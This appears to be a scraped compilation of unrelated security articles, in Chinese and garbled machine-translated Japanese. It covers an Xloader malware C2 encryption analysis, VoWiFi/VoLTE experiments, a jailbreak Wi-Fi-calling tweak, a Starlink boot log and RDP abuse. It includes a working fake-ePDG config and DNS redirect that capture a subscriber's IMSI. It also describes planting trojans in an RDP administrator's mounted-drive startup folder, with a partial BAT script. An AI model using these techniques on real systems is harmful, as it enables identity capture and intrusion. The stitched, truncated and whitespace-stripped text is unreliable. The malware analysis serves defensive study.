Xloader 是一種信息竊取惡意軟件,是Formbook 的迭代版本,自2016 年初以來一直在黑客論壇上被出售。 2020 年10 月,Formbook 更名為Xloader,並進行了一些重大改進,特別是與命令和控制(C2)網絡加密相關的改進。隨著Xloader的到來,惡意軟件的開發者也停止了出售面板的代碼和惡意軟件的可執行文件。當出售Formbook時,一個基於web的命令和控制(C2)面板被提供給客戶,以便他們可以自行管理自己的殭屍網絡。 2017 年,Formbook 的面板源被洩露,隨後,Xloader 背後的攻擊者轉向了不同的商業模式。 Xloader C2基礎設施不是傳播一個功能齊全的犯罪軟件套件,而是出租給客戶。這種“惡意軟件即服務”(MaaS)的商業模式可能更有利可圖,並使竊取變得更加困難。

Xloader的功能包括:

從網絡瀏覽器和其他應用程序竊取憑證;

捕獲按鍵信息;

螢幕截圖;

竊取存儲的密碼;

下載並執行其他二進製文件;

執行命令;

之前的文章已經分析了Formbook 和Xloader 混淆的各個方面。在這篇文章中,我們對Xloader 的C2 網絡加密和通信協議進行了詳細的分析。請注意,Xloader 是跨平台的,能夠在Microsoft Windows 和MacOS 上運行。此分析專門針對Windows 版本的Xloader。

技術分析Xloader 和Formbook 使用HTTP 與C2 服務器通信。 HTTP GET 查詢作為一種註冊形式發送。之後,惡意軟件向C2 發出HTTP POST 請求,以竊取屏幕截圖、被盜數據等信息。在這兩種情況下,GET 參數和POST 數據共享相似的格式並被加密,如下圖所示,我們將解釋以下部分中的加密算法。

1.png

Xloader C2 通信捕獲

誘餌和真實的C2服務器在整個Xloader惡意軟件有多個結構的加密塊的數據和代碼,這些塊旨在通過使用函數序言push ebp 和mov ebp, esp 的彙編指令來混淆惡意軟件分析人員和反彙編程序,如下圖所示。我們將這些結構命名為PUSHEBP 加密塊。這些塊使用基於RC4 的算法結合編碼層和自定義虛擬機(VM) 進行解密。

2.png

Xloader PUSHEBP 加密塊

其中一個PUSHEBP 塊包含加密字符串和誘餌C2 列表,這些誘餌是合法域,被添加以誤導惡意軟件研究人員和自動惡意軟件分析系統。真正的C2 服務器是單獨存儲的,並使用另一種更複雜的方案進行加密。負責解密真實C2 服務器的偽代碼如下圖所示。

3.png

Xloader C2 解密算法

在上圖中,RC4_based_Decryptor 函數由RC4 加密(使用0x14 字節密鑰)和另外兩個編碼層組成,如下所示:

4.png

附加的編碼層由簡單的減法運算組成:

5.png

VM_Decryptor 函數是Xloader 使用的另一種算法,它實現了一個自定義虛擬機(VM)。下面的Python代碼行重現了Xloader為解密真實的C2而執行的步驟。

6.png

解密後,C2 URL 的格式類似於www.domain.tld/botnet_id/

C2通信發生在誘餌域和真實的C2服務器上,包括發送從受害者那裡竊取的數據。因此,有一種可能,備份C2可以隱藏在誘餌C2域中,並在主C2域被刪除時用作備用通信通道。

Formbook 通信加密在FormBook中,HTTP GET參數(和POST數據)是通過四個步驟加密的:

1.使用真實C2 的域和路徑,通過以下方式計算RC4 密鑰:Reverse_DWORDs(SHA1(

2.結果被用作一個RC4 密鑰來加密數據;

3.數據經過RC4 加密後,還會使用Base64 進行額外編碼;

4.通過HTTP POST 請求發送的數據使用表1 中所示的字符替換進行格式化。

7.png

Formbook C2 字符替換

因此,Formbook C2通信可以很容易地通過逆向過程解密,因為C2域和路徑是已知的。

Xloader 通信加密的具體細節XLoader 中的網絡加密更為複雜,該過程中添加了一個額外的RC4 層,其中包含一個複雜的算法,該算法使用以下步驟來推導加密密鑰:

1.為了加密HTTP網絡數據,Xloader首先計算一個我們稱之為Key0Comm的密鑰,如下圖所示。

8.png

Xloader KeyComm0 推導

正如我們在上圖中看到的,PUSHEBP 塊7 是使用Xloader VM 解密的。一旦解密,這個塊的長度為0x15字節。第一個0x14字節用作RC4密鑰,最後一個字節用於根據switch語句選擇並解密另一個PUSHEBP塊(在4、5、6、8、9和10塊中)。因此導出的參數Key0Comm 如下:

Key0Comm=RC4_based_Decryptor(decPushebpBlock7Key[:0x14],decSwitchBasedPushebpBlock)然而,即使在相同版本的Xloader上,PUSHEBP 塊的順序以及開關和塊編號之間的關聯也會從一個樣本更改為另一個樣本(即此函數的代碼是隨機的)。下圖顯示了此函數在兩個不同Xloader v2.5 示例之間的比較。

9.png

Xloader KeyComm0函數映射到一個塊

下圖顯示了這些switch 語句如何映射到這些示例中的不同塊ID。

10.png

Xloader 塊ID 映射示例

為了對C2 通信執行加密,必須知道映射這些塊的特定樣本表,以導出加密密鑰Key0Comm。

2.接下來,使用與Formbook相同的算法計算我們稱為Key1Comm的另一個密鑰:Key1Comm=Reverse_DWORDs(SHA1(

3.最後,我們需要計算最後一個密鑰,使用Xloader 自定義的基於RC4 的解密算法如下:

Key2Comm=RC4based_Decryptor(Key0Comm,Key1Comm)擁有所有這三個RC4 密鑰,我們可以加密和解密Xloader C2 通信。 使用擁有兩層標準RC4的密鑰Key2Comm 和Key1Comm 對數據包進行加密,如下所示:

11.png

Xloader 還進一步應用了前面描述的用於POST 查詢的Base64 和字符替換

總結Xloader 是一個成熟的惡意軟件家族,擁有許多誤導研究人員和阻礙惡意軟件分析的技術,包括多層加密和自定義虛擬機。儘管開發者放棄了Formbook 分支以專注於重新命名的Xloader,但這兩種惡意軟件今天仍然非常活躍。 Formbook仍然被使用洩露的面板源代碼和自我管理C2 的攻擊者使用,而原始開發者繼續將Xloader 作為MaaS 出售,支持和租用服務器基礎設施。毫不奇怪,它一直是近年來最活躍的威脅之一。

首先我會通過三個實驗來學習VoWifi/VoLTE的工作原理:

使用fasferraz 的Python IKEv2/EAP-AKA 實現連接到VoWifi:失敗;

使用Linphone 連接到VoLTE:失敗;

使用Wi-Fi 熱點、假DNS 服務器和VPN 服務器捕獲IMSI:成功;

VoLTE和VoWifi看起來可能很複雜,但要打電話,只需要和兩台電腦進行連接就可以了:

1.1.png

VoLTE和VoWifi是基於常見技術的:

在VoLTE 中,電話通過SIP 連接到P-CSCF,這是運營商的SIP VoIP 服務器。

在VoWifi中,手機首先與運營商的VoWifi VPN服務器ePDG進行IPSec VPN連接。然後通過VPN連接到P-CSCF SIP服務器,比如VoLTE。

然而,VoLTE的實現與我們日常使用的vpn和VoIP軟件不兼容。這份來自Sysmocom的報告顯示,修改Ubuntu Touch以支持VoLTE需要幾個月的時間。

那麼,是什麼阻止我用普通的VPN軟件連接到VoWifi VPN服務器,或者用普通的VoIP軟件連接到VoLTE SIP服務器呢?我決定找出答案。

在VMWare Fusion虛擬機上的Ubuntu 21.04上進行的實驗,連接到Mint上運行Android 11的Pixel 3 XL上(T-Mobile MVNO)。

連接到VoWifi為了連接到特殊的VoWifi VPN,我使用了fasferraz的SWu-IKEv2,這是一個IKEv2/IPSec VPN客戶端,它使用SIM卡實現了特殊的EAP-AKA認證方法。

在EAP-AKA 中:

只有運營商和SIM 卡本身知道密鑰K;

認證時,運營商發送兩個值:AUTN 值和RAND 值;

AUTN 值向SIM 卡證明它是真正的運營商;

SIM卡用秘鑰K對RAND值進行加密,導出兩個秘鑰:IK、CK和響應值RES;

它將RES 值發回給運營商以證明它是真正的SIM 卡;

手機使用IK 和CK 加密連接;

運營商使用K 密鑰進行相同的加密以獲得預期的IK、CK 和RES 值;

運營商在解密連接前將RES值與IK和CK進行比較;

由於沒有其他人擁有K 密鑰,因此他們無法竊聽或冒充用戶/運營商;

綜上所述,我需要將AUTN和RAND發送到SIM卡上,並取回RES、IK和CK。

SWu-IKEv2 支持與真正的SIM 卡進行EAP-AKA 通信,定義了一個HTTP API 來與SIM 卡讀卡器通信。

我決定將該API實現為一個Android應用程序,這樣我可以在我的手機中使用SIM卡:

Android有一個公共API, TelephonyManager。 getIccAuthentication來運行這個身份驗證流程;

為Android 的Wi-Fi 添加框架,因為存在使用SIM 卡進行身份驗證的Wi-Fi 熱點;

ADB也可以在Android 10及以上版本上使用;

在Android 8.1 上不可用,我嘗試使用其他SIM 卡API 來嘗試獲取此值,但每次都不成功。我構建了一個生成SIM 身份驗證請求的HTTP 服務器Android 應用程序:

adbshellsh/sdcard/runsimserver.shserve3333我的應用程序使用http而不是https,因為我不需要處理證書。值得慶幸的是,很容易修補SWu-IKEv2 以支持純http。

如果出現故障,adb logcat -b radio 通常會給出調製解調器的錯誤消息。

我在網上搜索T-Mobile的ePDG地址,將APN設置為ims,將SWu-IKEv2的SIM讀取器地址指向我的手機,並嘗試連接:

#python3swu_emulator.py-m'http://192.168.1.9:3333'-d'ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org'-M310-N260-a'ims'STATE3:

-------

sendingIKE_SA_AUTH(2)

receiveddecodedmessage:

[[46,[[41,[0,24,b'',b'']]]]]

receivedIKE_AUTH(2)

OTHER_ERROR:24它會獲得大部分握手,包括SIM 卡憑據,但會在IKE_SA_AUTH 上返回錯誤。

可能是因為Mint Mobile要求我在打開Wi-Fi通話前註冊一個緊急地址,或者SWu-IKEv2沒有實現與T-Mobile/Mint兼容的握手。

事實上,當我嘗試Verizon的Wi-Fi呼叫服務器時,SWu-IKEv2甚至無法通過握手的第一步,也無法進行SIM卡認證。我嘗試了StrongSwan,但無法找出配置文件。

連接到VoLTE如果我無法連接到VoWifi VPN,是否可以直接連接到VoLTE SIP服務器?

在Android上,我可以使用dumpsys找到SIP服務器地址:

$dumpsystelephony.registryPcscfAddresses:[/fd00:1234:5678:1234:1,/fd00:1234:1:123:1,/fd00:1234:5678:1234:2]這是一個私有的(fd00:) IP地址,所以不能通過互聯網訪問,但我可以通過Wi-Fi從我的手機訪問它。

我首先嘗試了SIP測試器sipp,看看它是否可以進行任何SIP連接:

$sipp-snuacfd00:1234:1:123:1-m1-auth_uri'sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org'

Resolvingremotehost'fd00:1234:1:123:1'.Done.

2021-11-1412:17:42.1888101636910262.188810:AbortingcallonunexpectedmessageforCall-Id'1-4126@1234:5678:1234:5678:1234:5678:1234:5678':whileexpecting'100'(index1),received'SIP/2.0403Forbidden

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=

To:service;tag=

From:sipp;tag=

Call-ID:1-4126@1234:5678:1234:5678:1234:5678:1234:5678

CSeq:1INVITE

Content-Length:0

'因為它得到了一個SIP響應,所以我決定嘗試一下Linphone,看看是否效果更好。

echo'registersip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org[fd00:1234:5678:1234:1]'|linphone-daemon--config./lollinphonerc

daemon-linphoneStatus:Ok

Id:2

daemon-linphoneQuitting.

查看日誌,它似乎失敗並顯示需要擴展消息:

REGISTERsip:ims.mnc260.mcc310.3gppnetwork.orgSIP/2.0

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport

From:tag=by3qRAb72

To:sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org

CSeq:21REGISTER

Call-ID:BqHzXhfQzf

Max-Forwards:70

Supported:replaces,outbound,gruu,sec-agree

Accept:application/sdp

Accept:text/plain

Accept:application/vnd.gsma.rcs-ft-http+xml

Contact:+sip.instance=''

Expires:0

User-Agent:Unknown(belle-sip/4.4.0)

SIP/2.0421ExtensionRequired

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0

To:tag=hmpyfr9c6bln4s4tqy698hv3v

From:tag=LEotRcq8b

Call-ID:H3P5ZXk7Z2

CSeq:20REGISTER

Require:sec-agree

Content-Length:0在查看了真正的SIP 客戶端有哪些擴展之後,我嘗試將此行添加到Linphone 配置中。

[sip]

supported=replaces,outbound,gruu,sec-agree這在標題中設置了Supported: replaces, outbound, gruu, sec-agree,但我得到了完全相同的Extension Required 錯誤。

假的VoWifi ePDG如上所述,所以連接到運營商是不可能的。

值得慶幸的是,偽裝成是運營商來獲取IMSI 很容易,並且有如何做到這一點的指南。

為了偽裝成ePDG Wi-Fi 呼叫VPN,我創建了一個StrongSwan VPN 配置:

configsetup

charondebug='ike4'

connikev2-vpn

auto=add

type=tunnel

keyexchange=ikev2

left=%any

leftid=@ims

right=%any

rightid=%any

rightauth=eap-aka

rightsourceip=10.10.10.0/24

rightdns=8.8.8.8,8.8.4.4開始StrongSwan:

sudoipsecstart--nofork--confhello.conf啟動了一個DNS 服務器,將ePDG VPN 服務器域重定向到我的假Wi-Fi 呼叫服務器:

sudodnsmasq-d--no-resolv--no-hosts--log-queries--server8.8.8.8--address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10然後我更改了手機上的DNS,激活了Wi-Fi 呼叫,然後在我的控制台上看到了這個:

07[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](496bytes)

07[ENC]parsedIKE_SA_INITrequest0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)]

07[IKE]192.168.1.9isinitiatinganIKE_SA

07[CFG]selectedproposal:IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048

07[ENC]generatingIKE_SA_INITresponse0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)N(CHDLESS_SUP)N(MULT_AUTH)]

07[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](456bytes)

08[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](348bytes)

08[ENC]unknownattributetype(16386)

08[ENC]parsedIKE_AUTHrequest1[IDiIDrCPRQ((16386)DNS6DNS6ADDR6)SATSiTSr]

08[CFG]lookingforpeerconfigsmatching192.168.1.10[ims].192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]

08[CFG]nomatchingpeerconfigfound

08[ENC]generatingIKE_AUTHresponse1[N(AUTH_FAILED)]

08[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](76bytes)還有我的IMSI,發送給任何控制Wi-Fi 網絡、DNS 和VPN 服務器的對手。

基於Wi-Fi 搭建一個VoLTE/VoWiFi 環境對VoLTE/VoWiFi 的研究不需要昂貴的設備!通過使用免費軟件設置你自己的Wi-Fi 呼叫服務器,了解VoLTE/VoWiFi 的工作原理。

2.1.jpg

我會在本文中向你展示如何接管越獄iPhone 上的Wi-Fi 通話,並將其集成到本地電話撥號器和短信應用程序中,就像真正的運營商一樣。

我的最終目標是發行我自己的SIM 卡,通過Wi-Fi 將任何越獄或未越獄的手機連接到我的電話網絡。

VoLTE 和Wi-Fi 通話基於IPsec/IKEv2 和SIP 等開放標準,因此我們的電話網絡將使用免費軟件構建:

iPhone - 越獄調整以重定向Wi-Fi 呼叫- 我的Docker 容器- StrongSwan - Kamailio;

檢查VoWiFi要了解VoLTE 和VoWiFi,首先要在你撥打電話或發送SMS 時捕獲手機的流量。

你只需要一部iPhone 和一台裝有Xcode 和Wireshark 的Mac。

Xcode 提供了rvictl 工具來捕獲來自iPhone 的所有網絡流量,無需越獄。

如果你沒有Mac,gh2o 的rvi_capture 可以在Linux 和Windows 上捕獲。

所有電話和運營商之間的SIP消息是可見的,完全不加密。你可以看到當你撥打另一個電話時會發生什麼:

2.2.png

或者你如何接收短信:

2.3.png

在VoWiFi 上,你甚至可以轉儲實際的語音編解碼器數據包。

此外,iPhone 還提供來自VoWiFi ePDG VPN 隧道和SMS 處理的日誌:

在Mac 上打開控制台應用程序,過濾到CommCenter,然後啟用“操作- 包含信息消息/包含調試消息”。然後,過濾CommCenter 以獲取VoLTE/VoWiFi 消息,例如此IKEv2 握手:

2.4.png

建立自己的電話網絡如果你不想只查看VoLTE/VoWiFi 數據包怎麼辦?如果你想建立自己的網絡怎麼辦?為此,你需要一個越獄的iPhone 和一個Docker 容器。

我在iOS 14.1 上使用帶有Verizon SIM 卡的越獄iPhone 12。

如果你使用的是Android,則搭載Android 10 及更高版本的設備(所有2020 年或更高版本的設備)可能會在沒有root 的情況下重定向Wi-Fi 呼叫,但我還沒有嘗試過。

重定向ePDG 連接我們的目標是VoWiFi(Wi-Fi 通話),因為運行VoLTE 網絡需要至少150 美元的收音機,並獲得LTE頻率的廣播許可。 Wi-Fi 不需要任何特殊的硬件或繁文縟節。

Wi-Fi 通話使用IPsec/IKEv2 VPN 隧道進行保護,並使用EAP-AKA 進行身份驗證,它使用SIM 卡上只有運營商知道的密鑰。

由於我沒有空白SIM 卡,我編寫了一個越獄插件,用簡單的預共享密鑰(密碼)身份驗證替換SIM 卡檢查。

要運行調整,你需要:

越獄你的手機並安裝Substrate 或其他方法掛鉤平台;

設置Theos;

複製RedirectVoWiFiTweak;

將服務器地址指向你的VoWiFi 服務器的地址;

安裝包;

將你的手機置於飛行模式,然後啟用Wi-Fi通話(設置-蜂窩- Wi-Fi通話);

最終結果:VoWifi 隧道為你的IPsec/IKEv2 VPN 服務器創建了一個VPN,而不是Verizon 的。

我是如何構建調整的iPhone 在用戶空間中運行整個VoLTE/VoWiFi 堆棧:通過越獄,我們可以做任何事情。但是,我的最終目標是在未越獄的手機上使用自定義SIM 卡進行這項工作,所以我只做了最小的更改。

ePDG 只是一個IPsec/IKEv2 VPN 隧道,在SIM 卡上具有EAP-AKA 身份驗證。要禁用EAP-AKA 身份驗證並切換到PSK:

我運行nm CommCenter,看到它正在使用NEIPSecIKECreateSessionWithInterface啟動VPN隧道;

我在NetworkExtensions中找到了這個符號,並在Ghidra中分解了它;

它是一個包裝器-[NEIKEv2Session

initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:ssession:packetDelegate:]';我鉤住了那個方法,並刪除了參數;

我用PSK 在Mac 上創建了另一個IPsec/IKEv2 隧道;

我附加到macOS 的VPN 實現:

lldb-nNEIKEv2Provider-w

binitWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:我將其參數與VoLTE ePDG隧道進行了比較,以了解macOS如何設置PSK;

我為PSK設置了相同的標誌;

這是我第一次調試iPhone,結果如下:

dlevi309 向我發送拉取請求以自動重啟CommCenter;

hbkirb 將我指向HearseDev 的Theos 徽標語言的clang 格式包裝器;

用到的資源如下:

Kanns103 的調整開髮指南;

elihwyma 的commcenterpatch13,它也掛鉤了CommCenter;

擁有StrongSwan 和Kamailio 的Wi-Fi 呼叫服務器

用一個電話與兩個服務通話來建立VoWifi:

ePDG,一個IPsec/IKEv2 VPN 服務器,我們使用StrongSwan;

P-CSCF,一個SIP VoIP 服務器,我們使用Kamailio;

我用兩個預裝做了一個Docker容器。

在macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac 上測試。

首先,如果你不在Verizon 上,請在配置中更改IMS 域。你可以通過使用rvictl 捕獲SIP REGISTER 請求來查找域。

然後,運行:

dockercomposebuild

dockercomposeup等待來自電話的連接:

12[IKE]IKE_SAikev2-vpn-iphone[4]establishedbetween172.19.0.2[ims].172.19.0.1

12[IKE]IKE_SAikev2-vpn-iphone[4]statechange:CONNECTING=ESTABLISHED然後嘗試向手機發送短信:

ssh-p22222root@localhost

Password:vowifi

$encodesms1555444333319085823275'hello'將

或緊急警報:

$encodesms_cdmaemerg19085823275'duckandcover'或者打個電話:

$baresip

/uanewsip:+15554443333@localhost

/dialsip:+19085823275@localhost甚至嘗試在你自己的網絡上複製Purdue大學研

1.Starlink星鏈(Starlink)計劃的設計理念,是通過約4000 枚相互鏈接的衛星和依據地理分佈的地面基站,構築一個覆蓋全球的廉價太空通信系統。

Starlink 採用的是國際電聯規定的Ku、Ka頻率,5G的頻率是500MHz,衛星通信Ku波段加起來有1GHz。

一個衛星相當於很多基站,Starlink採用的是高通量技術,高通量衛星可以從一顆衛星上發射幾十個覆蓋波束,每個覆蓋一小片,就像移動蜂窩似的,這樣不同小區的頻率就可以復用了,又提升幾十倍的容量。

傳統的衛星所有的終端最終都要落在地面站,通過地面站連入互聯網。如果按照這個估算,這4000個衛星想要跑起來至少得4000個地面站。但是如果未來衛星的網絡足夠大,就沒有那麼多需要落地的信息了——全部由星間鏈路完成了。也就是,你通信的對端和你都是直連衛星的了。

感覺很多人對偏遠地區定義有所誤解,信號走Starlink的衛星會多出一段上下行延遲,額外路程就按340km軌道高度的兩倍算,走地面光纜的速度大概是真空光通訊的2/3,也就是說即使是平原直線,信號源1400km之外理論上都是Starlink佔優勢。在北京上杭州,深圳,香港的網站都算是訪問偏遠地區,Starlink比起地面網絡延遲更短更佔優勢。

其次,地面光纜在復雜地形上的佈線成本是極其昂貴的,並不是什麼地方都又平整人口又多。被複雜地形隔開的兩個人口密集區,要快速數據通信怎麼辦?跨越青藏高原和喜馬拉雅山幾百公里無人區上建設起來的的成都-拉薩-日喀則-乃維拉-勒克瑙-新德里中印光纜,現在是將來也注定是建設維護成本極其昂貴的。在此之前要從斯里蘭卡-新加坡-香港的海底光纜中轉,繞的圈子和帶寬限制更不用說了。但是Starlink成型以後,新德里和成都的直接通訊一點額外成本都沒有。

Starlink 官網:

https://www.starlink.com/

2.固件拆解Starlink 用戶終端(UT) 的暱稱是Dishy McFlatface,安裝測試了一下Starlink 用戶終端,發現下載速度高達268 Mbps,上傳速度高達49 Mbps,速度還是不錯的。

image-20211216105529640.png image-20211216105529640

拆解Starlink 用戶終端,我們主要關心SoC和固件文件,取下塑料蓋後,可以看到覆蓋在PCB上的金屬屏蔽層,有一個以太網連接口,還有一個4針的JST SH。

image-20211216110022243 image-20211216110022243.png image-20211216110031816

image-20211216110031816.png

通過USB轉TTL轉換器將UT連接上,可以看到一些UT的啟動信息,UT使用T-Boot引導加載程序,輸入falcon後會中斷引導過程,可以訪問U-Boot CLI。

U-Boot2020.04-gddb7afb(Apr162021-21:10:45+0000)

Model:Catson

DRAM:1004MiB

MMC:Fastboot:eMMC:8xbit-div2

stm-sdhci0:0

In:nulldev

Out:serial

Err:serial

CPUID:0x000201000x870824250xb9ca4b91

DetectedBoardrev:#rev2_proto2

sdhci_set_clock:Timeouttowaitcmddatainhibit

FIP1:3FIP2:3

BOOTSLOTB

Net:NetInitializationSkipped

Noethernetfound.

*

+

++

++

++

+++++++

++++

++++

+++

+++

+++

++++

++++

++++++++++

Board:SPACEXCATSONUTERM

======================================

=Type'falcon'tostopbootprocess=

======================================繼續執行引導過程,U-Boot會通過存儲在eMMC上的ulmage FIT鏡像文件加載內核、ramdisk、FDT。會檢查內核、ramdisk、FDT的完整性(SHA256)和真實性(RSA 2048)。

UT從ROM引導加載程序到引導Linux系統初始化都實現了完整的可信引導鏈(TF-A)。

switchtopartitions#0,OK

mmc0(part0)iscurrentdevice

MMCread:dev#0,block#98304,count49152.49152blocksread:OK

##LoadingkernelfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'kernel@1'kernelsubimage

Description:compressedkernel

Created:2021-04-1621:10:45UTC

Type:KernelImage

Compression:lzmacompressed

DataStart:0xa20000dc

DataSize:3520634Bytes=3.4MiB

Architecture:AArch64

OS:Linux

LoadAddress:0x80080000

LoadSize:unavailable

EntryPoint:0x80080000

Hashalgo:sha256

Hashvalue:5efc55925a69298638157156bf118357e01435c9f9299743954af25a2638adc2

VerifyingHashIntegrity.sha256+OK

##LoadingramdiskfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'ramdisk@1'ramdisksubimage

Description:compressedramdisk

Created:2021-04-1621:10:45UTC

Type:RAMDiskImage

Compression:lzmacompressed

DataStart:0xa2427f38

DataSize:8093203Bytes=7.7MiB

Architecture:AArch64

OS:Linux

LoadAddress:0xb0000000

LoadSize:unavailable

EntryPoint:0xb0000000

Hashalgo:sha256

Hashvalue:57020a8dbff20b861a4623cd73ac881e852d257b7dda3fc29ea8d795fac722aa

VerifyingHashIntegrity.sha256+OK

Loadingramdiskfrom0xa2427f38to0xb0000000

WARNING:'compression'nodesforramdisksaredeprecated,pleasefixyour.itsfile!

##LoadingfdtfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'rev2_proto2_fdt@1'fdtsubimage

Description:rev2proto2devicetree

Created:2021-04-1621:10:45UTC

Type:FlatDeviceTree

Compression:uncompressed

DataStart:0xa23fc674

DataSize:59720Bytes=58.3KiB

Architecture:AArch64

LoadAddress:0x8f000000

Hashalgo:sha256

Hashvalue:cca3af2e3bbaa1ef915d474eb9034a770b01d780ace925c6e82efa579334dea8

VerifyingHashIntegrity.sha256+OK

Loadingfdtfrom0xa23fc674to0x8f000000

Bootingusingthefdtblobat0x8f000000

UncompressingKernelImage

LoadingRamdiskto8f848000,end8ffffe13.OK

ERROR:reservingfdtmemoryregionfailed(addr=b0000000size=10000000)

LoadingDeviceTreeto000000008f836000,end000000008f847947.OK

WARNING:ethactisnotset.Notincludingethprimein/chosen.

Startingkernel.可以看到內核命令參數、分區基地址、分區長度,還可以看到SoC包含4個CPU內核。

[0.000000]000:DetectedVIPTI-cacheonCPU0

[0.000000]000:Built1zonelists,mobilitygroupingon.Totalpages:193536

[0.000000]000:Kernelcommandline:rdinit=/usr/sbin/sxruntime_startmtdoops.mtddev=mtdoopsconsole=ttyAS0,115200quietalloc_snapshottrace_buf_size=5Mrcutree.kthread_prio=80earlycon=stasc,mmio32,0x8850000,115200n8uio_pdrv_genirq.of_id=generic-uioaud it=1SXRUNTIME_EXPECT_SUCCESS=trueblkdevparts=mmcblk0:0x00100000@0x00000000(BOOTFIP_0),0x00100000@0x00100000(BOOTFIP_1),0x00100000@0x00200000(BOOTFIP_2),0x00100000@0x00300000(BOOTFIP_3),0x00080000@0x00400000(BOOTTERM1),0x00080000@0x00500000(BOOTTE RM2),0x00100000@0x00600000(BOOT_A_0),0x00100000@0x00700000(BOOT_B_0),0x00100000@0x00800000(BOOT_A_1),0x00100000@0x00900000(BO OT_B_1),0x00100000@0x00A00000(UBOOT_TERM1),0x00100000@0x00B00000(UBOOT_TERM2),0x00050000@0x00FB0000(SXID),0x01800000@0x010000 00(KERNEL_A),0x00800000@0x02800000(CONFIG_A),0x01800000@0x03000000(KERNEL_B),0x00800000@0x04800000(CONFIG_B),0x01800000@0x050 00000(SX_A),0x01800000@0x06800000(SX_B),0x00020000@0x00F30000(VERSION_INFO_A),0x00020000@0x00F50000(VERSION_INFO_B),0x00020000

[0.000000]000:audit:enabled(afterinitialization)

[0.000000]000:Dentrycachehashtableentries:131072(order:9,2097152bytes,linear)

[0.000000]000:Inode-cachehashtableentries:65536(order:7,524288bytes,linear)

[0.000000]000:memauto-init:stack:off,heapalloc:off,heapfree:off

[0.000000]000:Memory:746884K/786432Kavailable(6718Kkernelcode,854Krwdata,1648Krodata,704Kinit,329Kbss,39548Kreserved,0Kcma-reserved)

[0.000000]000:SLUB:HWalign=64,Order=0-3,MinObjects=0,CPUs=4,Nodes=1

[0.000000]000:ftrace:allocating23664entriesin93pages

[0.000000]000:rcu:PreemptiblehierarchicalRCUimplementation.

[0.000000]000:rcu:RCUeventtracingisenabled.

[0.000000]000:rcu:RCUrestrictingCPUsfromNR_CPUS=8tonr_cpu_ids=4.

[0.000000]000:rcu:RCUpriorityboosting:priority80delay500ms.

[0.000000]000:rcu:RCU_SOFTIRQprocessingmovedtorcuckthreads.

[0.000000]000:Noexpeditedgraceperiod(rcu_normal_after_boot).

[0.000000]000:TasksRCUenabled.

[0.000000]000:rcu:RCUcalculatedvalueofscheduler-enlistmentdelayis100jiffies.

[0.000000]000:rcu:Adjustinggeometryforrcu_fanout_leaf=16,nr_cpu_ids=4

[0.000000]000:NR_IRQS:64,nr_irqs:64,preallocatedirqs:0

[0.000000]000:random:get_random_bytescalledfromstart_kernel+0x33c/0x4b0withcrng_init=0

[0.000000]000:arch_timer:cp15timer(s)runningat60.00MHz(virt).

[0.000000]000:clocksource:arch_sys_counter:mask:0xffffffffffffffmax_cycles:0x1bacf917bf,max_idle_ns:881590412290ns

[0.000000]000:sched_clock:56bitsat60MHz,resolution16ns,wrapsevery4398046511098ns

[0.008552]000:Calibratingdelayloop(skipped),valuecalculatedusingtimerfrequency.

[0.016871]000:120.00BogoMIPS(lpj=60000)

[0.021129]000:pid_max:default:32768minimum:301

[0.026307]000:Mount-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.034005]000:Mountpoint-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.048359]000:ASIDallocatorinitialisedwith32768entries

[0.050341]000:rcu:HierarchicalSRCUimplementation.

[0.061390]000:smp:BringingupsecondaryCPUs.

[0.078677]001:DetectedVIPTI-cacheonCPU1

[0.078755]001:CPU1:Bootedsecondaryprocessor0x0000000001[0x410fd034]

[0.095799]002:DetectedVIPTI-cacheonCPU2

[0.095858]002:CPU2:Bootedsecondaryprocessor0x0000000002[0x410fd034]

[0.112970]003:DetectedVIPTI-cacheonCPU3

[0.11

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

